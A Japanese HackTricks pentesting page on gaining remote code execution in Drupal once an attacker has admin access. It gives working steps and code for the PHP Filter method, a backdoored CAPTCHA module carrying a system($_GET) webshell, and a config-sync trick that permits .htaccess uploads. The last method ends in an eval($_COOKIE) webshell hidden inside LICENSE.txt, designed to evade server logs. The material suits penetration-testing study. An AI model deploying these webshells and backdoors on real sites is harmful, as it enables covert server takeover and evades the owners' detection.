Drupal RCE

**htARTE(HackTricks AWS Red Team Expert)**から**ゼロからヒーローまでAWSハッキングを学ぶ**こちらをチェック!

HackTricksをサポートする他の方法:

PHPフィルターモジュールを使用する

Drupalの古いバージョン(バージョン8より前)では、管理者としてログインしてPHPフィルターモジュールを有効にすることが可能でした。これにより、「埋め込みPHPコード/スニペットを評価できる」ようになります。ただし、バージョン8からはこのモジュールがデフォルトでインストールされていません。

プラグインphpがインストールされている必要があります(_/modules/php にアクセスして403が返された場合は、存在します見つからない場合は、プラグインphpがインストールされていません

_Modules_に移動 -> (チェックを入れるPHP Filter -> Save configuration

その後、_Add content_をクリック -> _Basic Page_または_Article_を選択 -> 本文にphpシェルコードを記述 -> _Text format_で_PHP code_を選択 -> _Preview_を選択

最後に、新しく作成したノードにアクセスしてください:

curl http://drupal-site.local/node/3

PHP Filterモジュールのインストール

現在のバージョンでは、デフォルトのインストール後にウェブへのアクセスだけでプラグインをインストールすることはできなくなりました。

バージョン8以降では、PHP Filterモジュールはデフォルトでインストールされません。この機能を利用するには、モジュールを自分でインストールする必要があります

  1. Drupalのウェブサイトからモジュールの最新バージョンをダウンロードします。

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. ダウンロードが完了したら、管理 > レポート > **利用可能な更新**に移動します。

  4. **参照をクリックし、ダウンロードしたディレクトリからファイルを選択して、インストール**をクリックします。

  5. モジュールがインストールされたら、コンテンツをクリックして、Drupal 7の例と同様に新しい基本ページを作成します。再度、テキスト形式のドロップダウンからPHPコードを選択することを忘れないでください。

バックドア付きモジュール

現在のバージョンでは、デフォルトのインストール後にウェブへのアクセスだけでプラグインをインストールすることはできなくなりました。

バックドア付きモジュールは、既存のモジュールにシェルを追加することで作成できます。モジュールはdrupal.orgのウェブサイトで見つけることができます。CAPTCHAなどのモジュールを選択しましょう。tar.gz形式のアーカイブのリンクをコピーします。

  • アーカイブをダウンロードして、その内容を展開します。

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • 以下の内容で PHPウェブシェル を作成します:

<?php
system($_GET["cmd"]);
?>
  • 次に、フォルダへのアクセス権を自分自身に与えるために .htaccess ファイルを作成する必要があります。これは、Drupalが /modules フォルダへの直接アクセスを拒否するために必要です。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 上記の設定は、/modules内のファイルをリクエストしたときに/folderにルールを適用します。これらのファイルをcaptchaフォルダにコピーしてアーカイブを作成してください。

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • ウェブサイトに管理アクセスがあると仮定し、**Manageをクリックして、サイドバーでExtendをクリックします。次に、+ Install new moduleボタンをクリックして、http://drupal-site.local/admin/modules/installのようなインストールページに移動します。バックドア付きのCaptchaアーカイブを参照してInstall**をクリックします。

  • インストールが成功したら、**/modules/captcha/shell.php**に移動してコマンドを実行します。

Drupalの設定同期を使用したバックドア設置

投稿者 Coiffeur0x90

パート1(_Media_と_Media Library_の有効化)

_Extend_メニュー(/admin/modules)では、すでにインストールされているプラグインのように見えるものを有効化できます。デフォルトでは、_Media_と_Media Library_プラグインは有効になっていないようですので、有効にしてみましょう。

有効化前:

有効化後:

パート2(機能_設定同期_の活用)

Drupalの設定エントリをダンプ(エクスポート)してアップロード(インポート)するために、_Configuration synchronization_機能を活用します:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

system.file.ymlをパッチ

最初のエントリallow_insecure_uploadsを以下のようにパッチしましょう:

ファイル: system.file.yml


...

allow_insecure_uploads: false

...

To:

ファイル: system.file.yml


...

allow_insecure_uploads: true

...

field.field.media.document.field_media_document.ymlをパッチします

次に、2番目のエントリ file_extensions を以下のようにパッチします:

ファイル: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

To:

ファイル: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

このブログ投稿では使用しませんが、エントリ file_directory を任意の方法で定義し、パストラバーサル攻撃の対象となる可能性があることが指摘されています(したがって、Drupalファイルシステムツリー内で上に戻ることができます)。

パート3(機能「ドキュメントの追加」を活用)

最後のステップは最も簡単で、2つのサブステップに分かれています。最初のステップは、.htaccess形式のファイルをアップロードしてApacheディレクティブを活用し、.txtファイルをPHPエンジンで解釈できるようにすることです。2番目は、ペイロードを含む .txt ファイルをアップロードすることです。

ファイル: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

なぜこのトリックがクールなのか?

WebサーバーにWebshell(ここではLICENSE.txtと呼びます)がドロップされると、$_COOKIEを介してコマンドを送信でき、Webサーバーのログにはこれがテキストファイルへの正当なGETリクエストとして表示されます。

なぜWebshellをLICENSE.txtと名付けるのか?

単純に、たとえばcore/LICENSE.txt(Drupalコアにすでに存在する)というファイルを取ると、339行で17.6 KBのサイズのファイルがあり、中間に少量のPHPコードを追加するのに適しています(ファイルが十分に大きいため)。

ファイル: パッチ済みLICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (ファイル.htaccessをアップロード)

まず、Apacheディレクティブを含むファイルをアップロードするために、Add Document (/media/add/document) 機能を利用します。

Part 3.2 (ファイルLICENSE.txtをアップロード)

次に、ライセンスファイルに隠されたWebshellをアップロードするために、再び_Add Document_ (/media/add/document) 機能を利用します。

Part 4 (Webshellとのやり取り)

最後の部分は、Webshellとのやり取りです。

以下のスクリーンショットに示されているように、Webshellが期待するクッキーが定義されていない場合、Webブラウザを介してファイルを参照すると、次の結果が得られます。

攻撃者がクッキーを設定すると、Webshellとやり取りし、任意のコマンドを実行できます。

ログを見ると、txtファイルのみがリクエストされたようです。

この記事を読んでいただき、ありがとうございます。シェルを手に入れるのに役立つことを願っています。

Last updated